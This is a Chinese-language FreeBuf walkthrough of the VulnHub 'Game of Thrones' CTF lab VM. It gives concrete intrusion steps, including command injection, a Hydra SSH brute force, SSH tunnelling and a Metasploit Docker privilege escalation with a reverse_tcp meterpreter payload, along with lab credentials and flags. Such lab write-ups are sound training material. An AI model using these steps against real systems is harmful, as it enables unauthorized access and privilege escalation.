freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Game-of-Thrones-CTF-1.0靶机实战演练
2018-06-23 09:00:32

0x01 前言

这个靶机的主题是“权利的游戏”,难度在中高水平,目标是获得七国的flag和四个额外的flag,其中包括三个secret flag和一个final flag,需要一点《权力的游戏》的知识,完全没看过也没有关系,但是作为一名黑客,这种史诗电视剧还是推荐你去看一下。在夺旗过程中你需要反复看地图,地图会给你很多信息,还要仔细看每个提示。

image.png

0x02 环境配置

靶机下载地址:https://www.vulnhub.com/entry/game-of-thrones-ctf-1,201/我用的是VMware,虚拟机NAT方式连接,靶机自动获取IP本次实战:靶机IP:192.168.128.137本机IP:192.168.128.106

0x03 实战演练

namp开路,IP发现:image.png找到靶机IP,继续端口服务探测:

image.png 发现80端口运行web服务,所以我们在浏览器中打开,权利的游戏主题曲会循环播放,边听歌边挖flagimage.png 接下来查看页面源代码,这是挖web漏洞的套路 image.png 是一些介绍靶机的信息,包括目标,注意事项和小提示接下来用dirb扫描web目录image.png 有robots.txt文件,打开以后发现里面有几个目录 image.png 打开:http://192.168.128.137/secret-island/  ,是一张小指头的图片,并且发现了地图链接image.png 打开地图后可以找到所有flag的位置,并且还能看到对应的服务,这是重要信息,后面的探测都要依据这样地图image.png打开名为/  direct-access-to-kings-landing /的目录image.png image.png是一张乔弗里的照片,没有发现敏感信息 根据robots.txt文件提示,打开 http://192.168.128.137/the-tree/ ,并且挂上代理在burp中抓包,将User-Agent: Three-eyed-raven添加到请求头中,发送数据包image.pngimage.pngimage.png只是雪诺挂掉的的照片,还是没什么有用的信息啊之前dirb扫目录发现了一个诡异的目录/ h / i / d / d / e / n / ,打开看看image.png看看源代码发现了一个密码:A_verySmallManCanCastAVeryLargeShad0w 根据提示这个地方时dorne,因为dorne的领主是:oberynmartell,那估计这个就是登录口令再看看地图,发现dorne对应的是ftp image.png 使用ftp连接我们找到的用户名和密码image.png 发现了两个文件,通过ftp下载下来,打开其中一个,下面是一个哈希散列加密密码,需要破解 image.png 使用john the ripper解密这个文件,找到密码(这个a.txt就是上面的hash.txt)

John --format = dynamic_2008 a.txt

image.png 使用mcrypt来解密我们在ftp服务器中找到的加密文件

mcrypt -d the_wall.txt.nc

image.pngimage.png文件都被解密了,留着后面用我们现在将在文件中找到的域:winterfell.7kingdoms.ctf 添加到/ etc / hosts并打开链接 image.png 我们使用上面找到的用户名和密码登录,看到一个包含了两个图像的页面,是雪诺和北境旗标 image.png查看源代码,找到了第一个flag:You conquered the Kingdom of the North. This is your second kingdom flag!639bae9ac6b3e1a84cebb7b403297b79 image.png将北境旗标下载下来,用文本方式打开后在结尾发现了这句话:Timef0rconqu3rs TeXT should be asked to enter into the Iron Islands fortress" - Theon Greyjoyimage.png image.png它暗示我们TXT记录中包含了一些敏感信息,所以我用nslookup来检查TXT记录,我们必须对域名进行一些更改才能使其有效,并找到了 第二个flag

命令:nslookup -q = txt Timef0rconqu3rs.7Kingdoms.ctf 192.168.128.137

text = "You conquered Iron Islands kingdom flag: 5e93de3efa544e85dcd6311732d28f95 

image.png

现在我们将新域名添加到/etc/hosts并打开上面TXT记录中找到的链接  

http://stormlands.7kingdoms.ctf:10000

image.png

我们使用在TXT记录中找到的用户名和密码登录

Enter using this user/pass combination: aryastark/N3ddl3_1s_a_g00d_sword#!

image.png

随便看看网站有没有问题

image.png

使用文件管理器模块,打开一个文件管理器,访问看看里面的文件

浏览器要执行Java模块才能打开文件管理器,这个我也卡了好久,我是用IE解决的

image.png

在/ home / aryastark文件夹中,找到了一个名为flag.txt的文件

image.png

下载文件在主机中打开它,找到了第三个flag:

This is your flag: 8fc42c6ddf9966db3b09e84365034357

image.png

nmap扫描的时候就知道靶机正在运行postgresql,现在这个提示是要我们访问数据库,使用上面找到的文件中提供的用户名密码连接

psql -h 192.168.128.137 --u robinarryn -d mountainandthevale

image.png

找到一个名为flag的表,打开它找到了一个base64编码的字符串

image.png

我们解码base64编码字符串找到了我们的第四个flag:

This is your flag: bb3aec0fdcdbc2974890f805c585d432

image.png

检查其他表格以防过任何有用的信息,在其中一个表格中,我们找到了几个名字

select * from aryas_kill_list;

在arya_kill_list中,发现这些名字似乎会用得到

image.png

在数据库中搜索,我们找到一个rot16编码的字符串。

select * from braavos_book;

image.png

 

1 | City of Braavos is a very particular place. It is not so far from here.

    2 | "There is only one god, and his name is Death. And there is only one thing we say to Death: Not today" - Syrio Forel

    3 | Braavos have a lot of curious buildings. The Iron Bank of Braavos, The House of Black and White, The Titan of Braavos, etc.

    4 | "A man teaches a girl. -Valar Dohaeris- All men must serve. Faceless Men most of all" - Jaqen H'ghar

    6 | "A girl has no name" - Arya Stark

    7 | City of Braavos is ruled by the Sealord, an elected position.

    8 | "That man's life was not yours to take. A girl stole from the Many-Faced God. Now a debt is owed" - Jaqen H'ghar

    9 | Dro wkxi-pkmon qyn gkxdc iye dy mrkxqo iyeb pkmo. Ro gkxdc iye dy snoxdspi kc yxo yp iyeb usvv vscd. Covomd sd lkcon yx drsc lyyu'c vycd zkqo xewlob. Dro nkdklkco dy myxxomd gsvv lo lbkkfyc kxn iyeb zkccgybn gsvv lo: FkvkbWybqrevsc

现在转换这个rot16编码,找到了数据库的名称和密码,同时也给了我们一个提示,要使用我们在上表中找到的用户名。

 http://www.rot13.com/ 

image.png

The many-faced god wants you to change your face. He wants you to identify as one of your kill list. Select it based on this book's lost page number. The database to connect will be braavos and your password will be: ValarMorghulis

枚举用户名后,我们发现TheRedWomanMelisandre是用户名  

image.png登陆后查看里面的数据,检查temple找到了第五个flag:

3f82c41a70a8b0cfec9052252d9fd721

image.png看过地图后发现,我们到达的王国是在地图上显示的imap服务中,但是没有开启这个端口,现在我们使用之前找到的数字knock,试图让靶机打开143端口

knock 192.168.128.137 3487 64535 12345

image.png

由于我的kali怎么都敲不开,我不得不换一台kali虚拟机,终于敲开了

现在我们用nmap扫描来检查服务器上是否有新的端口打开,我们发现正在运行imap的端口143打开了

nmap -p- 192.168.128.137

image.png

使用netcat连接它,我们使用前面找到的用户名和密码。

NC 192.168.128.137 143

image.png

在收件箱中,我们找到了我们的第 六个flag,我们也得到了使用端口1337的提示,并给出了登录用户名和密码

image.png

我们登录到网站,发现它是git网站。

TywinLannister   LannisterN3verDie!

image.png通过漏洞扫描后,我发现这个网站有命令注入漏洞

image.png

标题下的编码信息是十六进制的,解码:/home/tyrionlannister/checkpoint.txt

经过一些命令注入,找到了如下信息

image.png

第七个flag: c8d46d341bea4fd5bff866a65ff8aea9 ,以及SSH的用户名和密码:

用户: daenerystargaryen 

密码: .Dracarys4thewin。

ssh登录:(xshell)

image.png

通过查找,我发现了两个名为digger.txt和checkpoint.txt的文件,checkpoint.txt包含一个提示:通过ip 172.25.0.2的ssh登录,并使用文件digger.txt中的字典

image.png

我们通过ssh将digger.txt下载到我们的系统中。

scp digger.txt root@192.168.1.116

image.png

我们使用本地隧道将其绑定到我们的2222端口。

ssh daenerystargaryen@192.168.128.137  -L 2222:172.25.0.2:22 -N

image.png

现在我使用hydra通过ssh登录,使用root作为用户名,并使用digger.txt文件来爆破密码

发现了用root的密码“Dr4g0nGl4ss!”

image.png

我们使用这个口令来通过ssh登录,我们使用localhost进行连接,因为我们已经完成了ssh本地隧道的绑定

image.png

查看文件发现了一个secret flag,我们还得到了一个用户名和密码来通过ssh登录

Host's ssh:

branstark/Th3_Thr33_Ey3d_Raven

This is your flag: a8db1d82db78ed452ba0882fb9554fc9

image.png

我们使用metasploit通过ssh使用这个用户名和密码来进行连接

msf>use auxiliary/scanner/ ssh / ssh_login
msf auxiliary(scanner / ssh / ssh_login)> set rhosts 192.168.128.137
msf auxiliary(scanner / ssh / ssh_login)>set username branstark
msf auxiliary(scanner / ssh / ssh_login)>set password Th3_Thr33_Ey3d_Raven
msf auxiliary(scanner / ssh / ssh_login)>run

image.png

在搜索了一些版本信息和提权脚本后,我注意到这个服务器是基于docker的,所以我在metasploit中使用docker提权脚本

msf>使用exploit / linux / local / docker_daemon_privilege_escalation
msf exploit(linux / local / docker_daemon_privilege_escalation)> set lhost 192.168.128.137
msf exploit(linux / local / docker_daemon_privilege_escalation)> set payload linux / x86 / meterpreter / reverse_tcp
msf exploit(linux / local / docker_daemon_privilege_escalation)> set session 1
msf exploit(linux / local / docker_daemon_privilege_escalation)>run

image.png

现在我拿到了提权后的会话,现在检查发现自己是root权限

image.png

查看文件,找到一个名为final_battle的密码保护zip文件和一个告诉我们如何找到密码的文件,它包含一些伪代码,告诉我们如何使用我们找到的secret flag来找到密码

image.png

image.png

通过伪代码,找到了另一个flag:3f82c41a70a8b0cfec9052252d9fd721

现在我已经获得了2个secret flag,通过文件搜索我发现音乐文件中有一个secret flag,我找到了2个音乐文件,使用exiftool发现了mp3文件包含的secret flag

exiftool game_of_thrones.mp3

image.png

找到三个secrect flag:
8bf8854bebe108183caeb845c7676ae4
3f82c41a70a8b0cfec9052252d9fd721
a8db1d82db78ed452ba0882fb9554fc9

将伪代码写成python代码:

image.png

我们运行程序,找到了密码

image.png

Password:45c7676ae4252d9fd7212fb9554fc9

我们使用zip来提取文件并使用找到的密码

7z e final_battle

我们发现一个名为flag.txt的文件被提取,我们打开文件并找到我们的final flag

8e63dcd86ef9574181a9b6184ed3dde5

image.png

我发现了一个名为flag.txt的文件,打开文件找到我们的final flag

8e63dcd86ef9574181a9b6184ed3dde5

image.png

所有flag都已找到:

image.png

congratulations you pwned the seven kingdoms game of thrones ctf  AWESOME

参考文章:

https://www.vulnhub.com/entry/game-of-thrones-ctf-1,201/

http://www.hackingarticles.in/hack-game-thrones-vm-ctf-challenge/

http://devloop.users.sourceforge.net/index.php?article136/solution-du-ctf-game-of-thrones-1-de-vulnhub

* 本文作者:小鸟,转载请注明来自FreeBuf.COM

# CTF # 权力的游戏
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者